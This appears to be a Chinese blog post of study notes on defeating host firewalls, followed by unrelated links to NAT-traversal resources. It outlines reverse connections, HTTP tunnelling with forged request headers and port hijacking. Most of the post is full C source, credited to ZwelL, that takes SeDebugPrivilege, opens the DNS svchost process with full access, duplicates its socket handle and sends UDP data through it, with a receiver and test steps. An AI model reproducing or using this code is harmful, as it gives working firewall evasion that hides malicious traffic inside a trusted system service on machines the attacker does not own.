`
luckliu521
  • 浏览: 257385 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

几种穿透防火墙技术

 
阅读更多
本人对几种穿透防火墙技术
以下是本人对几种穿透技术学习笔记和一点自己的想法:
防火墙是基本网络安全策略之一,它可以阻止不信任的外部网络用户对内部网络用户的访问,如果外网用户同内网用户之间的通信由外网用户发起,通信通常会被防火墙阻断,尤其是对TCP连接敏感,因此我们如果才能保证正常的数据传输呢,特别是非主动连接情况下,怎么保证连接和数据通信的安全稳定性呢?
人们使用穿透防火墙技术(常用):

1.反向连接------>由内网用户发起的连接请求,在防火墙规则下,是允许安全的

2.HTTP隧道技术------>就是吧所有要传送的数据全部封装到Http协议里进行传送

3.端口复用技术------>也称端口劫持技术,。其原理主要是通过修改套接字属性来实现端口重绑定,这种技术在接受外来数据包的时候通常是由主机进行转化,然后用户接受的

4.共享DNS套接字句柄技术------>这主要是使用了dns服务是所有防火墙免疫的功能来实现的,同时DNS套接字句柄技术最大的特点还是才用UDP通信的(后面将通过引用ZwelL的一些代码来说明)

今天我们主要介绍几种组合的穿透防火墙技术

1.反向连接与HTTP隧道技术
反向连接是由内部网络用户主动发起的连接请求,在防火墙规则下是合法的,假设现在有程序S,C

S---->代理------>C 服务端程序s由内部网络发起对C连接请求,通过代理服务器获取相应的IP和端口
<-----(ip,port) 建立socket套接字,设置端口号:80 80 ------------- ============ ===========当C/S建立连接后,进行数据传送的时候,这个时候我们使用HTTP隧道技术,将所有要传输的数据头经过HTTP协议封装,加个HTTP请求头:"Get/HTTP/1.0\r\nUse-Agent:Molliza/1.22\r\nAccept:*/*\r\n\r\n",同时在数据后面加上$$标记,用户在接受到数据的时程序根据预先设定的标记找到数据段,去除HTTP请求头,再把数据交由程序进行处理 采用反向连接+HTTP隧道技术也存在很多局限性 1.采用的端口号为80 2.利用HTTP隧道传输数据需要对数据进行HTTP封装,在混乱的HTTP隧道不能完全保证数据的完整性和安全性,对数据的解封也是一些需要考虑的问题 3.采用数据采集工具和像IS那样的工具可以检测出来 4.防火墙不是傻子,所以规则由时候是不能由我们去改变的 如何可以的吗,我们希望是让S程序为我们自动做个第三方端口映射,而此时第三的稳定性成为了我们的.......... 2.共享DNS套接字句柄技术 这个技术大家在05的时候就应该有所闻了,那是ZwelL发表在安焦上的一篇“一种新的穿透防火墙技术”里面采用的就是利用了dns服务是UDP通信同时又是所有防火墙所不能拒绝的....... 该技术使用了win终端服务库所提供的API函数 大概的流程:
利用wstapi中提供的函数列举所有系统进程----->查找目标进程或目标服务进程----->记录保存目标进程的PID------>利用获取的PID得到套接字句柄---->创建套接字进行通信
============具体实现代码:以下引用ZwelL关于一种.....代码==================
/*++
   Made By ZwelL
   zwell@sohu.com
   2005.4.12
--*/
#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status)       ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG          ProcessId;
UCHAR          ObjectTypeNumber;
UCHAR          Flags;
USHORT          Handle;
PVOID          Object;
ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
BOOL ret       = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
       printf( "GetModuleHandle() failed");
       return( FALSE );
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
{
       goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
       printf( "GetProcAddress() failed");
}
ntdll_dll = NULL;
return( ret );
}
/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
// sanity checks and default value
if (pUserSid == NULL)
       return false;
strcpy(szUserName, "?");
SID_NAME_USE snu;
TCHAR       szUser[_MAX_PATH];
DWORD       chUser = _MAX_PATH;
PDWORD       pcchUser = &chUser;
TCHAR       szDomain[_MAX_PATH];
DWORD       chDomain = _MAX_PATH;
PDWORD       pcchDomain = &chDomain;
// Retrieve user name and domain name based on user's SID.
if (
       ::LookupAccountSid(
       NULL,
       pUserSid,
       szUser,
       pcchUser,
       szDomain,
       pcchDomain,
       &snu
       )
       )
{
       wsprintf(szUserName, "%s", szUser);
}
else
{
       return false;
}
return true;

/*++
This routine is used to get the DNS process's Id
 
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.
--*/
DWORD GetDNSProcessId()
{
PWTS_PROCESS_INFO pProcessInfo = NULL;
DWORD          ProcessCount = 0;
char              szUserName[255];
DWORD              Id = -1;
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
       // dump each process description
       for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
       {
         if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
         {
            GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
            if( strcmp(szUserName, "NETWORK SERVICE") == 0)
            {
                   Id = pProcessInfo[CurrentProcess].ProcessId;
                   break;
            }
         }
       }
       WTSFreeMemory(pProcessInfo);
}
return Id;
}
/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
HANDLE hProcess = NULL,
         hAccessToken = NULL;
TCHAR InfoBuffer[1000], szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
SID_NAME_USE snu;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
if(hProcess == NULL)
{
       printf("OpenProcess wrong");
       CloseHandle(hProcess);
       return false;
}
if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
{
       printf("OpenProcessToken wrong:%08x", GetLastError());
       return false;
}
GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
       1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
       &dwAccountSize,szDomainName, &dwDomainSize, &snu);
if(hProcess)
       CloseHandle(hProcess);
if(hAccessToken)
       CloseHandle(hAccessToken);
return true;
}*/
/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
NTSTATUS                   status;
PVOID                      buf = NULL;
ULONG                      size   = 1;
ULONG                      NumOfHandle = 0;
ULONG                      i;
PSYSTEM_HANDLE_INFORMATION h_info   = NULL;
HANDLE sock = NULL;
DWORD n;
buf=malloc(0x1000);
if(buf == NULL)
{
       printf("malloc wrong\n");
       return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
if(STATUS_INFO_LENGTH_MISMATCH == status)
{
       free(buf);
       buf=malloc(n);
       if(buf == NULL)
       {
         printf("malloc wrong\n");
         return NULL;
       }
       status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
}
else
{
       printf("ZwQuerySystemInformation wrong\n");
       return NULL;
}
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
for(i = 0; i<NumOfHandle ;i++)
{
       try
       {
         if( ( h_info[i].ProcessId == PID )   && ( h_info[i].ObjectTypeNumber == 0x1c )
            && (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                                           // So I jump over this situation...
                                           // May be it's different in your system,
            ) //wind2000 is 0x1a
         {
            //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
            if( 0 == DuplicateHandle(
                   OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
                   (HANDLE)h_info[i].Handle,
                   GetCurrentProcess(),
                   &sock,
                   STANDARD_RIGHTS_REQUIRED,
                   true,
                   DUPLICATE_SAME_ACCESS)
                   )
            {
                   printf("DuplicateHandle wrong:%8x", GetLastError());
                   continue;
            }
            //printf("DuplicateHandle ok\n");
            sockaddr_in name = {0};
            name.sin_family = AF_INET;
            int namelen = sizeof(sockaddr_in);
            getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
            //printf("PORT=%5d\n", ntohs( name.sin_port ));
            if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
                   break;
         }
       }
       catch(...)
       {
         continue;
       }
}
if ( buf != NULL )
{
       free( buf );
}
return (SOCKET)sock;
}
/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
       0,
       name,
       &priv.Privileges[0].Luid
       );
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OpenProcessToken(
       GetCurrentProcess (),
       TOKEN_ADJUST_PRIVILEGES,
       &hToken
       );
AdjustTokenPrivileges (
       hToken,
       FALSE,
       &priv,
       sizeof priv,
       0,
       0
       );
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken);
return rv;
}
void main()
{
WSADATA wsaData;
char testbuf[255];
SOCKET sock;
sockaddr_in RecvAddr;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
       printf("Error at WSAStartup()\n");
if(!LocateNtdllEntry())
       return;
if(!EnablePrivilege (SE_DEBUG_NAME))
{
       printf("EnablePrivilege wrong\n");
       return;
}
sock = GetSocketFromId(GetDNSProcessId());
if( sock==NULL)
{
       printf("GetSocketFromId wrong\n");
       return;
}
//Change there value...
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(5555);
RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if(SOCKET_ERROR == sendto(sock,
         "test",
         5,
         0,
         (SOCKADDR *) &RecvAddr,
         sizeof(RecvAddr)))
{
       printf("sendto wrong:%d\n", WSAGetLastError());
}
else
{
       printf("send ok... Have fun, right? ^_^\n");
}
getchar();
//WSACleanup();
return;
}
很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.
再用下面的代码测试:
/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
void main()
{
   WSADATA wsaData;
   SOCKET RecvSocket;
   sockaddr_in RecvAddr;
   int Port = 5555;
   char RecvBuf[1024];
   int   BufLen = 1024;
   sockaddr_in SenderAddr;
   int SenderAddrSize = sizeof(SenderAddr);
   //-----------------------------------------------
   // Initialize Winsock
   WSAStartup(MAKEWORD(2,2), &wsaData);
   //-----------------------------------------------
   // Create a receiver socket to receive datagrams
   RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
   //-----------------------------------------------
   // Bind the socket to any address and the specified port.
   RecvAddr.sin_family = AF_INET;
   RecvAddr.sin_port = htons(Port);
   RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
   bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
   //-----------------------------------------------
   // Call the recvfrom function to receive datagrams
   // on the bound socket.
   printf("Receiving datagrams...\n");
   while(1)
   {
recvfrom(RecvSocket,
       RecvBuf,
       BufLen,
       0,
       (SOCKADDR *)&SenderAddr,
       &SenderAddrSize);
printf("%s\n", RecvBuf);
   }
   //-----------------------------------------------
   // Close the socket when finished receiving datagrams
   printf("Finished receiving. Closing socket.\n");
   closesocket(RecvSocket);
   //-----------------------------------------------
   // Clean up and exit.
   printf("Exiting.\n");
   WSACleanup();
   return;
}
===========================================================
测试步骤:
1. 在一台机器上执行UdpReceiver,
2. 在安装防火墙的机器上执行第一个程序.
以上就是我的学习笔记了,希望对你有帮助,目前正在组合一些大牛们的想法,正在思考一种新的穿透防火墙的数据传输技术
分享到:
评论

相关推荐

    p2p模式私网穿透技术

    NAT打洞技术分为几种类型,常见的有TCP打洞、UDP打洞和STUN/TURN/ICE等协议。TCP打洞是利用TCP连接的三次握手过程,尝试在两个NAT设备之间建立通道;UDP打洞则更为复杂,通常需要借助外部服务器进行辅助。STUN...

    UDP协议P2P NAT穿透技术实例

    在P2P NAT穿透技术实例中,主要涉及以下几点关键知识点: 1. **ICE(Interactive Connectivity Establishment)**:这是一种综合穿越NAT的协议,它允许两个处于不同NAT后的对等体通过中继或直接通信。ICE结合了STUN...

    c# upnp TCP 穿透

    在C#中,实现UPNP的TCP穿透,通常需要以下几个步骤: 1. **UPNP设备搜索**:程序首先需要查找网络上的UPNP设备。这通常通过发送M-SEARCH消息到多播地址239.255.255.250:1900来进行。C#可以使用`System.Net.Sockets....

    udp 穿透, NAT,

    UDP穿透主要有以下几种方法: 1. **UDP Hole Punching**:这种方法依赖于NAT设备的一致性,即设备在短时间内向同一目标发送多个数据包时,NAT会保留一个“洞”(即端口映射)。两个内网设备首先各自向公网服务器...

    natapp内网穿透、好用

    内网穿透技术是一种解决局域网(LAN)内的设备与公网(WAN)通信问题的方法。在日常生活中,我们有时会遇到这样的情况:一台设备在内网环境下,无法被公网直接访问,例如本地开发服务器、家庭NAS存储等。此时,就...

    P2P之UDP穿透NAT的原理与实现

    UDP穿透NAT的常见方法有以下几种: 1. **UDP hole punching**:这是一种利用NAT设备自身的规则来创建通信通道的方法。当两个内部分设备同时向对方的公网IP和端口发送数据时,NAT设备会记录这些通信尝试,并在一段...

    用UDP协议实现NAT穿透

    UDP NAT穿透通常采用以下几种方法: 1. **UDP Hole Punching**:这种方法利用了NAT设备的一致性。当一个设备向另一个设备发送数据后,NAT设备会记住这个通信通道,并在一段时间内保持开放。设备A先向设备B的公网IP...

    基于SIP的VoIP穿透NAT方法的 研究与实现

    针对NAT穿透问题,目前有几种较为流行的解决方案: 1. **ALG(Application Level Gateway)** - ALG通常位于NAT设备上,通过修改SIP信令负载中的私网地址和端口为公网地址和端口,并记录相应的映射关系,进而控制...

    初级内网穿透工具Ngrok

    内网穿透,也称为端口转发,是解决局域网内设备与公网通信的一种技术。其原理是通过一个公网服务器作为中继,将公网的请求转发到内网的特定服务上,同时将内网服务的响应回传给公网。这样,即使内网服务没有直接对外...

    分析Ajax技术的安全性

    Ajax技术主要依赖于以下几种关键技术: 1. **XMLHttpRequest对象**:用于发送异步请求到服务器,并接收响应。 2. **JavaScript**:用来处理客户端逻辑,控制请求发送及响应数据的处理。 3. **DOM(Document Object ...

    webcocket通信技术

    WebSocket协议基于TCP,设计时考虑了HTTP/1.1的兼容性,因此可以通过常见的80和443端口进行通信,减少了穿透防火墙的障碍。在建立连接时,WebSocket使用HTTP的Upgrade头进行握手,一旦握手成功,连接就保持打开状态...

    Comet服务器推送技术

    为了实现服务器推送,通常采用以下几种方式: 1. **传统轮询**:利用HTML的meta刷新或者Ajax定时请求来模拟服务器推送。这种方式简单但效率低下,频繁的请求不仅增加服务器压力,还浪费带宽。用户体验也不理想,...

    UDP打洞P2P技术

    UDP打洞P2P技术是互联网通信中一种用于穿透网络地址转换(NAT)的技术,它使得两个位于不同NAT后的设备能够直接通信,而无需通过中心服务器作为中介。这一技术在实现点对点(P2P)应用,如文件共享、实时通信和在线...

    实例讲解SSH技术架构

    此外,SSH还支持端口转发,可以将本地端口上的流量转发到远程服务器,或者将远程服务器的端口转发到本地,这在穿透防火墙时非常有用。 6. **X11转发**:SSH还可以提供X11转发功能,允许用户在安全的SSH连接下远程...

    网络游戏-具有NAT的网络中的SIP服务方法.zip

    有几种穿透NAT的方法,如STUN(Simple Traversal of UDP through NATs)、TURN(Traversal Using Relays around NATs)和ICE(Interactive Connectivity Establishment)。 2. **STUN服务器**:它是一个公开可访问...

    基于SIP的多媒体业务穿越网络地址转换/防火墙研究与设计 (2005年)

    研究了IETF关于NGN网络中会话业务穿透NAT技术的各种草案,结合网络的实际情况,对目前SIP业务开展可以使用的几种NAT穿越技术和方案进行了比较,提出了一种结合SIP协议扩展和MIDCOM协议构架的方法,解决了由于传统NAT...

    Peer-to-Peer Communication Across Network Address Translators

    - **NAT分类**:根据处理规则的不同,NAT设备可以分为几种类型,如对称NAT、受限锥形NAT、端口受限锥形NAT和全锥形NAT等。不同类型NAT的处理方式会影响打孔技术的成功率。 - **安全性考量**:虽然打孔技术在某些...

    基于JMS的分布式数据同步.pdf

    文章部分内容提到了几种常见的分布式数据同步方法,如数据库厂商提供的同步功能和基于Web服务的同步方法。前者易于实现但可能局限于特定类型的数据库,后者能够跨平台通信但需要额外设计数据一致性机制。然后,文章...

    远程控制软件

    6. **防火墙穿透**:能够穿透防火墙,使得远程连接成为可能,尤其在企业环境中。 7. **安全加密**:使用SSL/TLS等安全协议,确保数据传输过程中的隐私和安全。 在选择远程控制软件时,用户应该考虑以下几个关键因素...

    不同网段 远程控制

    - **防火墙穿透**:TeamViewer有能力绕过大多数防火墙限制,实现远程连接。 总结来说,"不同网段远程控制"是通过远程控制软件如TeamViewer,结合网络通信和穿越障碍的技术,实现跨越网络分段的设备控制。这种技术在...

Global site tag (gtag.js) - Google Analytics